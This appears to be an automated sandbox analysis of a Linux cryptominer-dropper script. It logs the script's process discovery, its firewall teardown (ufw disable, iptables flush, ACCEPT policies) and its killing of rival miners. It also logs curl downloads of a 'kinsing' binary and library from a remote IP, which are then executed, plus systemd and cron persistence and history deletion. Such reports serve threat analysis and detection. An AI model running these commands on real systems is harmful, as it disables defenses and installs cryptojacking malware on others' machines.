File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /bin/ps N/A
File opened for reading /sys/devices/system/cpu/online /bin/ps N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /bin/kill N/A
File opened for reading /sys/devices/system/cpu/online /bin/ps N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /bin/ps N/A
File opened for reading /sys/devices/system/cpu/online /bin/ps N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A

Enumerates kernel/hardware configuration

discovery
Description Indicator Process Target
File opened for reading /sys/module/ip6_tables/initstate /sbin/modprobe N/A
File opened for reading /sys/module/x_tables/initstate /sbin/modprobe N/A

Process Discovery

discovery
Description Indicator Process Target
N/A N/A /bin/ps N/A
N/A N/A /bin/ps N/A
N/A N/A /bin/ps N/A
N/A N/A /bin/ps N/A
N/A N/A /bin/ps N/A

Reads runtime system information

discovery
Description Indicator Process Target
File opened for reading /proc/98/status /usr/bin/pkill N/A
File opened for reading /proc/19/status /bin/ps N/A
File opened for reading /proc/253/cmdline /bin/ps N/A
File opened for reading /proc/1120/stat /bin/ps N/A
File opened for reading /proc/83/status /usr/bin/pkill N/A
File opened for reading /proc/157/status /usr/bin/pkill N/A
File opened for reading /proc/1470/cmdline /usr/bin/pkill N/A
File opened for reading /proc/32/cmdline /usr/bin/pkill N/A
File opened for reading /proc/1221/cmdline /usr/bin/pkill N/A
File opened for reading /proc/81/cmdline /usr/bin/pkill N/A
File opened for reading /proc/22/status /usr/bin/pkill N/A
File opened for reading /proc/1469/cmdline /usr/bin/pkill N/A
File opened for reading /proc/1746/cmdline /bin/ps N/A
File opened for reading /proc/662/status /bin/ps N/A
File opened for reading /proc/590/cmdline /usr/bin/pkill N/A
File opened for reading /proc/331/status /bin/ps N/A
File opened for reading /proc/35/cmdline /usr/bin/pkill N/A
File opened for reading /proc/1276/stat /bin/ps N/A
File opened for reading /proc/15/status /usr/bin/pkill N/A
File opened for reading /proc/1355/cmdline /usr/bin/pkill N/A
File opened for reading /proc/1170/status /usr/bin/pkill N/A
File opened for reading /proc/1148/stat /bin/ps N/A
File opened for reading /proc/1355/status /usr/bin/pkill N/A
File opened for reading /proc/1195/cmdline /usr/bin/pkill N/A
File opened for reading /proc/1162/status /usr/bin/pkill N/A
File opened for reading /proc/18/status /usr/bin/pkill N/A
File opened for reading /proc/89/cmdline /usr/bin/pkill N/A
File opened for reading /proc/473/cmdline /usr/bin/pkill N/A
File opened for reading /proc/1164/cmdline /usr/bin/pkill N/A
File opened for reading /proc/153/status /usr/bin/pkill N/A
File opened for reading /proc/167/cmdline /usr/bin/pkill N/A
File opened for reading /proc/1043/cmdline /bin/ps N/A
File opened for reading /proc/857/status /usr/bin/pkill N/A
File opened for reading /proc/79/cmdline /usr/bin/pkill N/A
File opened for reading /proc/98/cmdline /usr/bin/pkill N/A
File opened for reading /proc/21/cmdline /usr/bin/pkill N/A
File opened for reading /proc/1704/status /usr/bin/pkill N/A
File opened for reading /proc/1144/cmdline /usr/bin/pkill N/A
File opened for reading /proc/130/status /usr/bin/pkill N/A
File opened for reading /proc/36/stat /bin/ps N/A
File opened for reading /proc/523/cmdline /usr/bin/pkill N/A
File opened for reading /proc/78/status /usr/bin/pkill N/A
File opened for reading /proc/466/status /usr/bin/pkill N/A
File opened for reading /proc/451/status /usr/bin/pkill N/A
File opened for reading /proc/1755/status /bin/ps N/A
File opened for reading /proc/1775/stat /bin/ps N/A
File opened for reading /proc/1129/status /usr/bin/pkill N/A
File opened for reading /proc/1112/cmdline /usr/bin/pkill N/A
File opened for reading /proc/1173/status /usr/bin/pkill N/A
File opened for reading /proc/938/status /usr/bin/pkill N/A
File opened for reading /proc/115/cmdline /usr/bin/pkill N/A
File opened for reading /proc/1129/status /usr/bin/pkill N/A
File opened for reading /proc/84/status /usr/bin/pkill N/A
File opened for reading /proc/590/status /usr/bin/pkill N/A
File opened for reading /proc/1309/status /usr/bin/pkill N/A
File opened for reading /proc/1164/cmdline /usr/bin/pkill N/A
File opened for reading /proc/17/stat /bin/ps N/A
File opened for reading /proc/13/status /bin/ps N/A
File opened for reading /proc/462/status /usr/bin/pkill N/A
File opened for reading /proc/1480/cmdline /usr/bin/pkill N/A
File opened for reading /proc/1043/cmdline /usr/bin/pkill N/A
File opened for reading /proc/1232/status /usr/bin/pkill N/A
File opened for reading /proc/1232/status /bin/ps N/A
File opened for reading /proc/993/status /bin/ps N/A

System Network Configuration Discovery

discovery
Description Indicator Process Target
N/A N/A /bin/sed N/A
N/A N/A /tmp/script_malware/063ccf736c2c19ca5db70b8d8a7cf00377899c16023c63fee836bdefadd336c1.sh N/A
N/A N/A /sbin/modprobe N/A

Processes

/tmp/script_malware/063ccf736c2c19ca5db70b8d8a7cf00377899c16023c63fee836bdefadd336c1.sh

[/tmp/script_malware/063ccf736c2c19ca5db70b8d8a7cf00377899c16023c63fee836bdefadd336c1.sh]

/usr/bin/chattr

[chattr -i /etc/ld.so.preload]

/bin/rm

[rm -f /etc/ld.so.preload]

/usr/bin/chattr

[chattr -R -i /var/spool/cron]

/usr/bin/chattr

[chattr -i /etc/crontab]

/usr/sbin/ufw

[ufw disable]

/sbin/iptables

[/sbin/iptables -V]

/lib/ufw/ufw-init

[/lib/ufw/ufw-init force-stop]

/sbin/ip6tables

[ip6tables -L INPUT -n]

/sbin/modprobe

[/sbin/modprobe ip6_tables]

/sbin/iptables

[iptables -F ufw-logging-deny]

/sbin/iptables

[iptables -F ufw-logging-allow]

/sbin/iptables

[iptables -F ufw-not-local]

/sbin/iptables

[iptables -F ufw-user-logging-input]

/sbin/iptables

[iptables -F ufw-user-limit-accept]

/sbin/iptables

[iptables -F ufw-user-limit]

/sbin/iptables

[iptables -F ufw-skip-to-policy-input]

/sbin/iptables

[iptables -F ufw-reject-input]

/sbin/iptables

[iptables -F ufw-after-logging-input]

/sbin/iptables

[iptables -F ufw-after-input]

/sbin/iptables

[iptables -F ufw-user-input]

/sbin/iptables

[iptables -F ufw-before-input]

/sbin/iptables

[iptables -F ufw-before-logging-input]

/sbin/iptables

[iptables -F ufw-skip-to-policy-forward]

/sbin/iptables

[iptables -F ufw-reject-forward]

/sbin/iptables

[iptables -F ufw-after-logging-forward]

/sbin/iptables

[iptables -F ufw-after-forward]

/sbin/iptables

[iptables -F ufw-user-logging-forward]

/sbin/iptables

[iptables -F ufw-user-forward]

/sbin/iptables

[iptables -F ufw-before-forward]

/sbin/iptables

[iptables -F ufw-before-logging-forward]

/sbin/iptables

[iptables -F ufw-track-forward]

/sbin/iptables

[iptables -F ufw-track-output]

/sbin/iptables

[iptables -F ufw-track-input]

/sbin/iptables

[iptables -F ufw-skip-to-policy-output]

/sbin/iptables

[iptables -F ufw-reject-output]

/sbin/iptables

[iptables -F ufw-after-logging-output]

/sbin/iptables

[iptables -F ufw-after-output]

/sbin/iptables

[iptables -F ufw-user-logging-output]

/sbin/iptables

[iptables -F ufw-user-output]

/sbin/iptables

[iptables -F ufw-before-output]

/sbin/iptables

[iptables -F ufw-before-logging-output]

/sbin/iptables

[iptables -Z ufw-logging-deny]

/sbin/iptables

[iptables -Z ufw-logging-allow]

/sbin/iptables

[iptables -Z ufw-not-local]

/sbin/iptables

[iptables -Z ufw-user-logging-input]

/sbin/iptables

[iptables -Z ufw-user-limit-accept]

/sbin/iptables

[iptables -Z ufw-user-limit]

/sbin/iptables

[iptables -Z ufw-skip-to-policy-input]

/sbin/iptables

[iptables -Z ufw-reject-input]

/sbin/iptables

[iptables -Z ufw-after-logging-input]

/sbin/iptables

[iptables -Z ufw-after-input]

/sbin/iptables

[iptables -Z ufw-user-input]

/sbin/iptables

[iptables -Z ufw-before-input]

/sbin/iptables

[iptables -Z ufw-before-logging-input]

/sbin/iptables

[iptables -Z ufw-skip-to-policy-forward]

/sbin/iptables

[iptables -Z ufw-reject-forward]

/sbin/iptables

[iptables -Z ufw-after-logging-forward]

/sbin/iptables

[iptables -Z ufw-after-forward]

/sbin/iptables

[iptables -Z ufw-user-logging-forward]

/sbin/iptables

[iptables -Z ufw-user-forward]

/sbin/iptables

[iptables -Z ufw-before-forward]

/sbin/iptables

[iptables -Z ufw-before-logging-forward]

/sbin/iptables

[iptables -Z ufw-track-forward]

/sbin/iptables

[iptables -Z ufw-track-output]

/sbin/iptables

[iptables -Z ufw-track-input]

/sbin/iptables

[iptables -Z ufw-skip-to-policy-output]

/sbin/iptables

[iptables -Z ufw-reject-output]

/sbin/iptables

[iptables -Z ufw-after-logging-output]

/sbin/iptables

[iptables -Z ufw-after-output]

/sbin/iptables

[iptables -Z ufw-user-logging-output]

/sbin/iptables

[iptables -Z ufw-user-output]

/sbin/iptables

[iptables -Z ufw-before-output]

/sbin/iptables

[iptables -Z ufw-before-logging-output]

/sbin/iptables

[iptables -X ufw-logging-deny]

/sbin/iptables

[iptables -X ufw-logging-allow]

/sbin/iptables

[iptables -X ufw-not-local]

/sbin/iptables

[iptables -X ufw-user-logging-input]

/sbin/iptables

[iptables -X ufw-user-logging-output]

/sbin/iptables

[iptables -X ufw-user-logging-forward]

/sbin/iptables

[iptables -X ufw-user-limit-accept]

/sbin/iptables

[iptables -X ufw-user-limit]

/sbin/iptables

[iptables -X ufw-user-input]

/sbin/iptables

[iptables -X ufw-user-forward]

/sbin/iptables

[iptables -X ufw-user-output]

/sbin/iptables

[iptables -X ufw-skip-to-policy-input]

/sbin/iptables

[iptables -X ufw-skip-to-policy-output]

/sbin/iptables

[iptables -X ufw-skip-to-policy-forward]

/sbin/iptables

[iptables -P INPUT ACCEPT]

/sbin/iptables

[iptables -P OUTPUT ACCEPT]

/sbin/iptables

[iptables -P FORWARD ACCEPT]

/sbin/ip6tables

[ip6tables -F ufw6-logging-deny]

/sbin/ip6tables

[ip6tables -F ufw6-logging-allow]

/sbin/ip6tables

[ip6tables -F ufw6-not-local]

/sbin/ip6tables

[ip6tables -F ufw6-user-logging-input]

/sbin/ip6tables

[ip6tables -F ufw6-user-limit-accept]

/sbin/ip6tables

[ip6tables -F ufw6-user-limit]

/sbin/ip6tables

[ip6tables -F ufw6-skip-to-policy-input]

/sbin/ip6tables

[ip6tables -F ufw6-reject-input]

/sbin/ip6tables

[ip6tables -F ufw6-after-logging-input]

/sbin/ip6tables

[ip6tables -F ufw6-after-input]

/sbin/ip6tables

[ip6tables -F ufw6-user-input]

/sbin/ip6tables

[ip6tables -F ufw6-before-input]

/sbin/ip6tables

[ip6tables -F ufw6-before-logging-input]

/sbin/ip6tables

[ip6tables -F ufw6-skip-to-policy-forward]

/sbin/ip6tables

[ip6tables -F ufw6-reject-forward]

/sbin/ip6tables

[ip6tables -F ufw6-after-logging-forward]

/sbin/ip6tables

[ip6tables -F ufw6-after-forward]

/sbin/ip6tables

[ip6tables -F ufw6-user-logging-forward]

/sbin/ip6tables

[ip6tables -F ufw6-user-forward]

/sbin/ip6tables

[ip6tables -F ufw6-before-forward]

/sbin/ip6tables

[ip6tables -F ufw6-before-logging-forward]

/sbin/ip6tables

[ip6tables -F ufw6-track-forward]

/sbin/ip6tables

[ip6tables -F ufw6-track-output]

/sbin/ip6tables

[ip6tables -F ufw6-track-input]

/sbin/ip6tables

[ip6tables -F ufw6-skip-to-policy-output]

/sbin/ip6tables

[ip6tables -F ufw6-reject-output]

/sbin/ip6tables

[ip6tables -F ufw6-after-logging-output]

/sbin/ip6tables

[ip6tables -F ufw6-after-output]

/sbin/ip6tables

[ip6tables -F ufw6-user-logging-output]

/sbin/ip6tables

[ip6tables -F ufw6-user-output]

/sbin/ip6tables

[ip6tables -F ufw6-before-output]

/sbin/ip6tables

[ip6tables -F ufw6-before-logging-output]

/sbin/ip6tables

[ip6tables -Z ufw6-logging-deny]

/sbin/ip6tables

[ip6tables -Z ufw6-logging-allow]

/sbin/ip6tables

[ip6tables -Z ufw6-not-local]

/sbin/ip6tables

[ip6tables -Z ufw6-user-logging-input]

/sbin/ip6tables

[ip6tables -Z ufw6-user-limit-accept]

/sbin/ip6tables

[ip6tables -Z ufw6-user-limit]

/sbin/ip6tables

[ip6tables -Z ufw6-skip-to-policy-input]

/sbin/ip6tables

[ip6tables -Z ufw6-reject-input]

/sbin/ip6tables

[ip6tables -Z ufw6-after-logging-input]

/sbin/ip6tables

[ip6tables -Z ufw6-after-input]

/sbin/ip6tables

[ip6tables -Z ufw6-user-input]

/sbin/ip6tables

[ip6tables -Z ufw6-before-input]

/sbin/ip6tables

[ip6tables -Z ufw6-before-logging-input]

/sbin/ip6tables

[ip6tables -Z ufw6-skip-to-policy-forward]

/sbin/ip6tables

[ip6tables -Z ufw6-reject-forward]

/sbin/ip6tables

[ip6tables -Z ufw6-after-logging-forward]

/sbin/ip6tables

[ip6tables -Z ufw6-after-forward]

/sbin/ip6tables

[ip6tables -Z ufw6-user-logging-forward]

/sbin/ip6tables

[ip6tables -Z ufw6-user-forward]

/sbin/ip6tables

[ip6tables -Z ufw6-before-forward]

/sbin/ip6tables

[ip6tables -Z ufw6-before-logging-forward]

/sbin/ip6tables

[ip6tables -Z ufw6-track-forward]

/sbin/ip6tables

[ip6tables -Z ufw6-track-output]

/sbin/ip6tables

[ip6tables -Z ufw6-track-input]

/sbin/ip6tables

[ip6tables -Z ufw6-skip-to-policy-output]

/sbin/ip6tables

[ip6tables -Z ufw6-reject-output]

/sbin/ip6tables

[ip6tables -Z ufw6-after-logging-output]

/sbin/ip6tables

[ip6tables -Z ufw6-after-output]

/sbin/ip6tables

[ip6tables -Z ufw6-user-logging-output]

/sbin/ip6tables

[ip6tables -Z ufw6-user-output]

/sbin/ip6tables

[ip6tables -Z ufw6-before-output]

/sbin/ip6tables

[ip6tables -Z ufw6-before-logging-output]

/sbin/ip6tables

[ip6tables -X ufw6-logging-deny]

/sbin/ip6tables

[ip6tables -X ufw6-logging-allow]

/sbin/ip6tables

[ip6tables -X ufw6-not-local]

/sbin/ip6tables

[ip6tables -X ufw6-user-logging-input]

/sbin/ip6tables

[ip6tables -X ufw6-user-logging-output]

/sbin/ip6tables

[ip6tables -X ufw6-user-logging-forward]

/sbin/ip6tables

[ip6tables -X ufw6-user-limit-accept]

/sbin/ip6tables

[ip6tables -X ufw6-user-limit]

/sbin/ip6tables

[ip6tables -X ufw6-user-input]

/sbin/ip6tables

[ip6tables -X ufw6-user-forward]

/sbin/ip6tables

[ip6tables -X ufw6-user-output]

/sbin/ip6tables

[ip6tables -X ufw6-skip-to-policy-input]

/sbin/ip6tables

[ip6tables -X ufw6-skip-to-policy-output]

/sbin/ip6tables

[ip6tables -X ufw6-skip-to-policy-forward]

/sbin/ip6tables

[ip6tables -P INPUT ACCEPT]

/sbin/ip6tables

[ip6tables -P OUTPUT ACCEPT]

/sbin/ip6tables

[ip6tables -P FORWARD ACCEPT]

/sbin/iptables

[iptables -F]

/usr/bin/id

[id -u]

/bin/grep

[grep -v grep]

/bin/grep

[grep -e /dev]

/bin/ls

[ls -la /etc]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk {if($3>80.0) print $2}]

/bin/grep

[grep -v grep]

/bin/grep

[grep agetty]

/bin/ps

[ps aux]

/usr/bin/pkill

[pkill -f 42.112.28.216]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/grep

[grep -v -]

/usr/bin/awk

[awk -F[/] {print $1}]

/usr/bin/awk

[awk {print $7}]

/bin/grep

[grep 207.38.87.6]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/grep

[grep -v -]

/usr/bin/awk

[awk -F[/] {print $1}]

/usr/bin/awk

[awk {print $7}]

/bin/grep

[grep 127.0.0.1:52018]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/grep

[grep -v -]

/usr/bin/awk

[awk -F[/] {print $1}]

/usr/bin/awk

[awk {print $7}]

/bin/grep

[grep 34.81.218.76:9486]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/grep

[grep -v -]

/usr/bin/awk

[awk -F[/] {print $1}]

/usr/bin/awk

[awk {print $7}]

/bin/grep

[grep 42.112.28.216:9486]

/usr/bin/pkill

[pkill -f .git/kthreaddw]

/usr/bin/pkill

[pkill -f 80.211.206.105]

/usr/bin/pkill

[pkill -f 207.38.87.6]

/usr/bin/pkill

[pkill -f p8444]

/usr/bin/pkill

[pkill -f supportxmr]

/usr/bin/pkill

[pkill -f monero]

/usr/bin/pkill

[pkill -f kthreaddi]

/usr/bin/pkill

[pkill -f srv00]

/usr/bin/pkill

[pkill -f /tmp/.javae/javae]

/usr/bin/pkill

[pkill -f .javae]

/usr/bin/pkill

[pkill -f .syna]

/usr/bin/pkill

[pkill -f .main]

/usr/bin/pkill

[pkill -f xmm]

/usr/bin/pkill

[pkill -f solr.sh]

/usr/bin/pkill

[pkill -f /tmp/.solr/solrd]

/usr/bin/pkill

[pkill -f /tmp/javac]

/usr/bin/pkill

[pkill -f /tmp/.go.sh]

/usr/bin/pkill

[pkill -f /tmp/.x/agetty]

/usr/bin/pkill

[pkill -f /tmp/.x/kworker]

/usr/bin/pkill

[pkill -f c3pool]

/usr/bin/pkill

[pkill -f /tmp/.X11-unix/gitag-ssh]

/usr/bin/pkill

[pkill -f /tmp/1]

/usr/bin/pkill

[pkill -f /tmp/okk.sh]

/usr/bin/pkill

[pkill -f /tmp/gitaly]

/usr/bin/pkill

[pkill -f /tmp/.x/kworker]

/usr/bin/pkill

[pkill -f 43a6eY5zPm3UFCaygfsukfP94ZTHz6a1kZh5sm1aZFB]

/usr/bin/pkill

[pkill -f /tmp/.X11-unix/supervise]

/usr/bin/pkill

[pkill -f /tmp/.ssh/redis.sh]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk {print $2}]

/bin/grep

[grep -v grep]

/bin/grep

[grep ./udp]

/bin/ps

[ps aux]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/cat

[cat /tmp/.X11-unix/01]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/cat

[cat /tmp/.X11-unix/11]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/cat

[cat /tmp/.X11-unix/22]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/cat

[cat /tmp/.pg_stat.0]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/cat

[cat /tmp/.pg_stat.1]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/cat

[cat /data/./oka.pid]

/usr/bin/pkill

[pkill -f zsvc]

/usr/bin/pkill

[pkill -f pdefenderd]

/usr/bin/pkill

[pkill -f updatecheckerd]

/usr/bin/pkill

[pkill -f cruner]

/usr/bin/pkill

[pkill -f dbused]

/usr/bin/pkill

[pkill -f bashirc]

/usr/bin/pkill

[pkill -f meminitsrv]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk {print $2}]

/bin/grep

[grep -v grep]

/bin/grep

[grep ./oka]

/bin/ps

[ps aux]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk {print $2}]

/bin/grep

[grep -v grep]

/bin/grep

[grep postgres: autovacum]

/bin/ps

[ps aux]

/bin/grep

[grep -v kinsing]

/bin/grep

[grep -v proxymap]

/bin/grep

[grep -v postgres]

/bin/grep

[grep -v postgrey]

/usr/bin/awk

[awk {print $2}]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/grep

[grep -v php-fpm]

/bin/grep

[grep -v (]

/bin/grep

[grep -v \[]

/bin/grep

[grep -v bin]

/usr/bin/awk

[awk length($1) == 8]

/bin/ps

[ps ax -o command,pid -www]

/usr/bin/awk

[awk {print $2}]

/bin/grep

[grep -v proxymap]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/grep

[grep -v postgres]

/bin/grep

[grep -v postgrey]

/bin/grep

[grep -v php-fpm]

/bin/grep

[grep -v (]

/bin/grep

[grep -v \[]

/bin/grep

[grep -v bin]

/usr/bin/awk

[awk length($1) == 16]

/bin/ps

[ps ax -o command,pid -www]

/usr/local/sbin/kill

[kill -9 1232]

/usr/local/bin/kill

[kill -9 1232]

/usr/sbin/kill

[kill -9 1232]

/usr/bin/kill

[kill -9 1232]

/sbin/kill

[kill -9 1232]

/bin/kill

[kill -9 1232]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/grep

[grep -v postgrey]

/bin/grep

[grep -v postgres]

/usr/bin/awk

[awk {print $1}]

/bin/grep

[grep -v php-fpm]

/bin/grep

[grep -v bin]

/usr/bin/awk

[awk length($5) == 8]

/bin/grep

[grep -v proxymap]

/bin/grep

[grep -v (]

/bin/grep

[grep -v \[]

/bin/ps

[ps ax]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk {print $2}]

/bin/grep

[grep /tmp/sscks]

/bin/ps

[ps aux]

/bin/grep

[grep -v grep]

/usr/bin/md5sum

[md5sum /etc/kinsing]

/usr/bin/awk

[awk { print $1 }]

/bin/chmod

[chmod 777 /etc/kinsing]

/usr/bin/curl

[curl -o /etc/kinsing http://80.71.158.12/kinsing]

/bin/chmod

[chmod +x /etc/kinsing]

/usr/bin/awk

[awk { print $1 }]

/usr/bin/md5sum

[md5sum /etc/kinsing]

/bin/chmod

[chmod 777 /etc/kinsing]

/usr/bin/curl

[curl -o /etc/kinsing http://80.71.158.12/kinsing]

/bin/chmod

[chmod +x /etc/kinsing]

/usr/bin/awk

[awk { print $1 }]

/usr/bin/md5sum

[md5sum /etc/kinsing]

/usr/bin/awk

[awk { print $1 }]

/usr/bin/md5sum

[md5sum /etc/libsystem.so]

/bin/chmod

[chmod 777 /etc/libsystem.so]

/usr/bin/curl

[curl -o /etc/libsystem.so http://80.71.158.12/libsystem.so]

/bin/chmod

[chmod +x /etc/libsystem.so]

/usr/bin/awk

[awk { print $1 }]

/usr/bin/md5sum

[md5sum /etc/libsystem.so]

/bin/chmod

[chmod 777 /etc/libsystem.so]

/usr/bin/curl

[curl -o /etc/libsystem.so http://80.71.158.12/libsystem.so]

/bin/chmod

[chmod +x /etc/libsystem.so]

/usr/bin/awk

[awk { print $1 }]

/usr/bin/md5sum

[md5sum /etc/libsystem.so]

/bin/rm

[rm -rf /tmp/kdevtmpfsi]

/bin/chmod

[chmod 777 /etc/kinsing]

/bin/chmod

[chmod +x /etc/kinsing]

/etc/kinsing

[/etc/kinsing]

/usr/bin/id

[id -u]

/bin/systemctl

[systemctl enable bot]

/bin/systemctl

[systemctl start bot]

/usr/bin/crontab

[crontab -]

/bin/sed

[sed /base64/d]

/usr/bin/crontab

[crontab -l]

/usr/bin/crontab

[crontab -]

/bin/sed

[sed /_cron/d]

/usr/bin/crontab

[crontab -l]

/usr/bin/crontab

[crontab -]

/bin/sed

[sed /31.210.20.181/d]

/usr/bin/crontab

[crontab -l]

/usr/bin/crontab

[crontab -]

/bin/sed

[sed /update.sh/d]

/usr/bin/crontab

[crontab -l]

/usr/bin/crontab

[crontab -]

/bin/sed

[sed /logo4/d]

/usr/bin/crontab

[crontab -l]

/usr/bin/crontab

[crontab -]

/bin/sed

[sed /logo9/d]

/usr/bin/crontab

[crontab -l]

/usr/bin/crontab

[crontab -]

/bin/sed

[sed /logo0/d]

/usr/bin/crontab

[crontab -l]

/usr/bin/crontab

[crontab -]

/bin/sed

[sed /logo/d]

/usr/bin/crontab

[crontab -l]

/usr/bin/crontab

[crontab -]

/bin/sed

[sed /tor2web/d]

/usr/bin/crontab

[crontab -l]

/usr/bin/crontab

[crontab -]

/bin/sed

[sed /jpg/d]

/usr/bin/crontab

[crontab -l]

/usr/bin/crontab

[crontab -]

/bin/sed

[sed /png/d]

/usr/bin/crontab

[crontab -l]

/bin/sed

[sed /tmp/d]

/usr/bin/crontab

[crontab -l]

/usr/bin/crontab

[crontab -]

/usr/bin/crontab

[crontab -]

/bin/sed

[sed /zmreplchkr/d]

/usr/bin/crontab

[crontab -l]

/usr/bin/crontab

[crontab -]

/bin/sed

[sed /aliyun.one/d]

/usr/bin/crontab

[crontab -l]

/usr/bin/crontab

[crontab -]

/bin/sed

[sed /3.215.110.66.one/d]

/usr/bin/crontab

[crontab -l]

/usr/bin/crontab

[crontab -]

/bin/sed

[sed /pastebin/d]

/usr/bin/crontab

[crontab -l]

/usr/bin/crontab

[crontab -]

/bin/sed

[sed /onion/d]

/usr/bin/crontab

[crontab -l]

/usr/bin/crontab

[crontab -]

/bin/sed

[sed /lsd.systemten.org/d]

/usr/bin/crontab

[crontab -l]

/usr/bin/crontab

[crontab -]

/bin/sed

[sed /shuf/d]

/usr/bin/crontab

[crontab -l]

/usr/bin/crontab

[crontab -]

/bin/sed

[sed /ash/d]

/usr/bin/crontab

[crontab -l]

/usr/bin/crontab

[crontab -]

/bin/sed

[sed /mr.sh/d]

/usr/bin/crontab

[crontab -l]

/usr/bin/crontab

[crontab -]

/bin/sed

[sed /185.181.10.234/d]

/usr/bin/crontab

[crontab -l]

/usr/bin/crontab

[crontab -]

/bin/sed

[sed /localhost.xyz/d]

/usr/bin/crontab

[crontab -l]

/usr/bin/crontab

[crontab -]

/bin/sed

[sed /45.137.151.106/d]

/usr/bin/crontab

[crontab -l]

/usr/bin/crontab

[crontab -]

/bin/sed

[sed /111.90.159.106/d]

/usr/bin/crontab

[crontab -l]

/usr/bin/crontab

[crontab -]

/bin/sed

[sed /github/d]

/usr/bin/crontab

[crontab -l]

/usr/bin/crontab

[crontab -]

/bin/sed

[sed /bigd1ck.com/d]

/usr/bin/crontab

[crontab -l]

/usr/bin/crontab

[crontab -]

/bin/sed

[sed /xmr.ipzse.com/d]

/usr/bin/crontab

[crontab -l]

/usr/bin/crontab

[crontab -]

/bin/sed

[sed /185.181.10.234/d]

/usr/bin/crontab

[crontab -l]

/usr/bin/crontab

[crontab -]

/bin/sed

[sed /146.71.79.230/d]

/usr/bin/crontab

[crontab -l]

/usr/bin/crontab

[crontab -]

/bin/sed

[sed /122.51.164.83/d]

/usr/bin/crontab

[crontab -l]

/usr/bin/crontab

[crontab -]

/bin/sed

[sed /newdat.sh/d]

/usr/bin/crontab

[crontab -l]

/usr/bin/crontab

[crontab -]

/bin/sed

[sed /lib.pygensim.com/d]

/usr/bin/crontab

[crontab -l]

/usr/bin/crontab

[crontab -]

/bin/sed

[sed /t.amynx.com/d]

/usr/bin/crontab

[crontab -l]

/usr/bin/crontab

[crontab -]

/bin/sed

[sed /update.sh/d]

/usr/bin/crontab

[crontab -l]

/usr/bin/crontab

[crontab -]

/bin/sed

[sed /systemd-service.sh/d]

/usr/bin/crontab

[crontab -l]

/usr/bin/crontab

[crontab -]

/bin/sed

[sed /pg_stat.sh/d]

/usr/bin/crontab

[crontab -l]

/usr/bin/crontab

[crontab -]

/bin/sed

[sed /sleep/d]

/usr/bin/crontab

[crontab -l]

/usr/bin/crontab

[crontab -]

/bin/sed

[sed /oka/d]

/usr/bin/crontab

[crontab -l]

/usr/bin/crontab

[crontab -]

/bin/sed

[sed /linux1213/d]

/usr/bin/crontab

[crontab -l]

/usr/bin/crontab

[crontab -]

/bin/sed

[sed /#wget/d]

/usr/bin/crontab

[crontab -l]

/usr/bin/crontab

[crontab -]

/bin/sed

[sed /#curl/d]

/usr/bin/crontab

[crontab -l]

/usr/bin/crontab

[crontab -]

/bin/sed

[sed /zsvc/d]

/usr/bin/crontab

[crontab -l]

/usr/bin/crontab

[crontab -]

/bin/sed

[sed /givemexyz/d]

/usr/bin/crontab

[crontab -l]

/usr/bin/crontab

[crontab -]

/bin/sed

[sed /world/d]

/usr/bin/crontab

[crontab -l]

/usr/bin/crontab

[crontab -]

/bin/sed

[sed /1.sh/d]

/usr/bin/crontab

[crontab -l]

/usr/bin/crontab

[crontab -]

/bin/sed

[sed /3.sh/d]

/usr/bin/crontab

[crontab -l]

/usr/bin/crontab

[crontab -]

/bin/sed

[sed /workers/d]

/usr/bin/crontab

[crontab -l]

/usr/bin/crontab

[crontab -]

/bin/sed

[sed /oracleservice/d]

/usr/bin/crontab

[crontab -l]

/bin/grep

[grep -v grep]

/bin/grep

[grep -e 185.191.32.198]

/usr/bin/crontab

[crontab -l]

/usr/bin/crontab

[crontab -]

/usr/bin/crontab

[crontab -l]

/bin/rm

[rm -rf /root/.bash_history]

Network

Country Destination Domain Proto
N/A 224.0.0.251:5353 udp
UA 80.71.158.12:80 tcp
UA 80.71.158.12:80 tcp
UA 80.71.158.12:80 tcp
UA 80.71.158.12:80 tcp
US 151.101.193.91:443 tcp
GB 185.125.188.62:443 tcp
GB 185.125.188.62:443 tcp
US 151.101.193.91:443 tcp
GB 195.181.164.14:443 tcp
RU 185.191.32.198:80 tcp
RU 185.191.32.198:80 tcp
RU 185.191.32.198:80 tcp

Files

/lib/systemd/system/bot.service

MD5 a3e1220eacdbd3fa5d0117efd5d4dd91
SHA1 b66492d74a517bcd9d230b574b56411476124709
SHA256 05d02411668f4ebd576a24ac61cc84e617bdb66aa819581daa670c65f1a876f0
